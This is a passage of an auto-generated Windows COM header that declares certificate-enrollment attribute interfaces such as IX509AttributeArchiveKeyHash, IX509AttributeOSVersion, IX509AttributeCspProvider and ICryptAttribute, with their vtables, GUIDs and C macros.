IX509AttributeArchiveKey_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeArchiveKey_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__\n#define __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__\n\n/* interface IX509AttributeArchiveKeyHash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeArchiveKeyHash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab328-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeArchiveKeyHash : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncodeFromEncryptedKeyBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncryptedKeyBlob) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyHashBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeArchiveKeyHashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeArchiveKeyHash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeArchiveKeyHash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeArchiveKeyHash * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncodeFromEncryptedKeyBlob )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncryptedKeyBlob);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHashBlob )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeArchiveKeyHashVtbl;\n\n    interface IX509AttributeArchiveKeyHash\n    {\n        CONST_VTBL struct IX509AttributeArchiveKeyHashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeArchiveKeyHash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeArchiveKeyHash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeArchiveKeyHash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeArchiveKeyHash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeArchiveKeyHash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeArchiveKeyHash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeArchiveKeyHash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeArchiveKeyHash_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKeyHash_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeArchiveKeyHash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeArchiveKeyHash_InitializeEncodeFromEncryptedKeyBlob(This,Encoding,strEncryptedKeyBlob)\t\\\n    ( (This)->lpVtbl -> InitializeEncodeFromEncryptedKeyBlob(This,Encoding,strEncryptedKeyBlob) ) \n\n#define IX509AttributeArchiveKeyHash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKeyHash_get_EncryptedKeyHashBlob(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHashBlob(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeOSVersion_INTERFACE_DEFINED__\n#define __IX509AttributeOSVersion_INTERFACE_DEFINED__\n\n/* interface IX509AttributeOSVersion */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeOSVersion;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeOSVersion : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strOSVersion) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OSVersion( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeOSVersionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeOSVersion * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeOSVersion * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeOSVersion * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in BSTR strOSVersion);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OSVersion )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeOSVersionVtbl;\n\n    interface IX509AttributeOSVersion\n    {\n        CONST_VTBL struct IX509AttributeOSVersionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeOSVersion_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeOSVersion_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeOSVersion_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeOSVersion_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeOSVersion_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeOSVersion_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeOSVersion_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeOSVersion_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeOSVersion_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeOSVersion_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeOSVersion_InitializeEncode(This,strOSVersion)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strOSVersion) ) \n\n#define IX509AttributeOSVersion_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeOSVersion_get_OSVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_OSVersion(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeOSVersion_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeCspProvider_INTERFACE_DEFINED__\n#define __IX509AttributeCspProvider_INTERFACE_DEFINED__\n\n/* interface IX509AttributeCspProvider */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeCspProvider;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeCspProvider : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ X509KeySpec KeySpec,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strSignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeCspProviderVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeCspProvider * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeCspProvider * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeCspProvider * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strSignature);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeCspProviderVtbl;\n\n    interface IX509AttributeCspProvider\n    {\n        CONST_VTBL struct IX509AttributeCspProviderVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeCspProvider_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeCspProvider_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeCspProvider_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeCspProvider_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeCspProvider_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeCspProvider_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeCspProvider_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeCspProvider_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeCspProvider_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeCspProvider_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeCspProvider_InitializeEncode(This,KeySpec,strProviderName,Encoding,strSignature)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,KeySpec,strProviderName,Encoding,strSignature) ) \n\n#define IX509AttributeCspProvider_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeCspProvider_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509AttributeCspProvider_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509AttributeCspProvider_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeCspProvider_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICryptAttribute_INTERFACE_DEFINED__\n#define __ICryptAttribute_INTERFACE_DEFINED__\n\n/* interface ICryptAttribute */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICryptAttribute;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32c-217d-11da-b2a4-000e7bbb2b09\")\n    ICryptAttribute : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromValues( \n            /* [in] */ __RPC__in_opt IX509Attributes *pAttributes) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Values( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Attributes **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICryptAttributeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICryptAttribute * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICryptAttribute * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICryptAttribute * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICryptAttribute * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromObjectId )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromValues )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in_opt IX509Attributes *pAttributes);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ICryptAttribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Values )( \n            __RPC__in ICryptAttribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attributes **ppValue);\n        \n        END_INTERFACE\n    } ICryptAttributeVtbl;\n\n    interface ICryptAttribute\n    {\n        CONST_VTBL struct ICryptAttributeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICryptAttribute_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICryptAttribute_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICryptAttribute_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICryptAttribute_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICryptAttribute_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICryptAttribute_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICryptAttribute_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICryptAttribute_InitializeFromObjectId(This,pObjectId)\t\\\n    ( (This)->lpVtbl -> InitializeFromObjectId(This,pObjectId) ) \n\n#define ICryptAttribute_InitializeFromValues(This,pAttributes)\t\\\n    ( (This)->lpVtbl -> InitializeFromValues(This,pAttributes) ) \n\n#define ICryptAttribute_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ICryptAttribute_get_Values(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Values(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICryptAttribute_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICryptAttributes_INTERFACE_DEFINED__\n#define __ICryptAttributes_INTERFACE_DEFINED__\n\n/* interface ICryptAttributes */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICryptAttributes;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32d-217d-11da-b2a4-000e7bbb2b09\")\n    